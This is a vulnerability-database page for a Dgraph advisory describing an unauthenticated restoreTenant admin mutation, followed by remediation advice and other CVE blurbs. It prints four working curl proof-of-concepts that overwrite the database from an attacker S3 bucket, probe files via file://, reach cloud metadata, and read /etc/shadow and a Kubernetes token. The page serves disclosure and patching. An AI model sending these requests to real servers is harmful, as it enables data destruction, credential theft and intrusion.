Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
5DescriptionGitHub Advisory
The restoreTenant admin mutation is missing from the authorization middleware config (admin.go:499-522), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware.
This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.
Authentication Bypass
Every admin mutation has middleware configured in adminMutationMWConfig (admin.go:499-522) EXCEPT restoreTenant. The restore mutation has gogMutMWs (Guardian of Galaxy auth + IP whitelist + logging). restoreTenant is absent from the map.
When middleware is looked up at resolve/resolver.go:431, the map returns nil. The Then() method at resolve/middlewares.go:98 checks len(mws) == 0 and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.
PoC 1: Pre-Auth Database Overwrite
The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:
No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.
curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }" }'
Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}}
The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).
The resolver at admin/restore.go:54-74 passes location, accessKey, secretKey directly to worker.ProcessRestoreRequest. The worker at online_restore.go:98-106 connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.
Note: the anonymous: true flag (minioclient.go:108-113) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a public S3 bucket without providing any AWS keys:
mutation { restoreTenant(input: { restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true }, fromNamespace: 0 }) { code message } }
Live PoC Results (Dgraph v24.x Docker)
Tested against dgraph/dgraph:latest in Docker. Side-by-side comparison:
restore (HAS middleware) -> BLOCKED
$ curl ... '{"query": "mutation { restore(...) { code } }"}' {"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]}
restoreTenant (MISSING middleware) -> AUTH BYPASSED
$ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}' {"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]}
The restore mutation is blocked by the IP whitelist middleware. The restoreTenant mutation bypasses all middleware and reaches the backup verification logic.
Filesystem enumeration also confirmed with distinct error messages:
/etc/(exists): "No backups with the specified backup ID" (directory scanned)/nonexistent/(doesn't exist): "The uri path doesn't exists" (path doesn't exist)/tmp/(exists, empty): "No backups with the specified backup ID" (directory scanned)
PoC 2: Local Filesystem Probe via file:// Scheme
curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }" }'
Error response reveals whether /etc/ exists and its structure.
backup_handler.go:130-132 creates a fileHandler for file:// URIs.
fileHandler.ListPaths at line 161-166 walks the local filesystem.
fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))
PoC 3: SSRF via S3 Endpoint
curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }" }'
The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.
Error response may leak cloud metadata information.
PoC 4: Vault SSRF + Server File Path Read
curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/backup\", accessKey: \"AKIA...\", secretKey: \"...\", vaultAddr: \"http://internal-service:8080\", vaultRoleIDFile: \"/var/run/secrets/kubernetes.io/serviceaccount/token\", vaultSecretIDFile: \"/etc/passwd\", encryptionKeyFile: \"/etc/shadow\" }, fromNamespace: 0 }) { code message } }" }'
vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080
vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk
encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag
Fix
Add restoreTenant to adminMutationMWConfig:
"restoreTenant": gogMutMWs,
Koda Reef
AnalysisAI
Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks against Dgraph graph database servers (v24.x, v25.x prior to v25.3.1) via the admin API's restoreTenant mutation. The mutation bypasses all authentication middleware due to missing authorization configuration, allowing attackers to provide arbitrary backup source URLs (including file:// schemes for local filesystem access), S3/MinIO credentials, Vault configuration paths, and encry
Technical ContextAI
Dgraph is a distributed graph database written in Go (github.com/dgraph-io/dgraph). The admin GraphQL API implements tenant restore functionality through the restoreTenant mutation, which should require Guardian-of-Galaxy authentication (gogMutMWs middleware) similar to the restore mutation. However, the adminMutationMWConfig map at admin.go:499-522 omits restoreTenant entirely. During middleware resolution (resolve/resolver.go:431), the lookup returns nil, and the Then() method at resolve/middlewares.go:98 detects len(mws)==0 and returns the resolver directly, completely bypassing authentication, IP whitelisting, and audit logging. The root cause is CWE-862 (Missing Authorization), where a privileged operation was inadvertently exposed without access control. The mutation accepts RestoreInput parameters including location (URI), accessKey/secretKey (S3 credentials), vaultAddr/vaultRoleIDFile/vaultSecretIDFile (Vault config), and encryptionKeyFile paths. The backup handler (backup_handler.go) supports file://, s3://, and minio:// URI schemes, creating fileHandler (lines 130-132) or S3/MinioClient instances (line 257) that perform direct filesystem or network operations. The fileHandler.Read method (line 153) executes os.ReadFile on attacker-controlled paths, while ListPaths (lines 161-166) walks local directories. The restore workflow (online_restore.go:98-106, admin/restore.go:54-74) passes user input directly to worker.ProcessRestoreRequest without validation, enabling path traversal and SSRF.
RemediationAI
Immediately upgrade to Dgraph v25.3.1 or later, released at https://github.com/dgraph-io/dgraph/releases/tag/v25.3.1, which includes commit b15c87e9353e36618bf8e0df3bd945c0ce7105ef adding restoreTenant to the adminMutationMWConfig map with gogMutMWs middleware enforcement. For Docker deployments, update image tags to dgraph/dgraph:v25.3.1 and restart alpha nodes. Kubernetes users should update Helm charts or StatefulSet manifests to reference the patched version and perform rolling updates. No configuration changes are required beyond version upgrade-the fix automatically enforces Guardian-of-Galaxy authentication, IP whitelisting, and audit logging for restor
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve
Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at
Same weakness CWE-862 – Missing Authorization
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-19360
GHSA-p5rh-vmhp-gvcw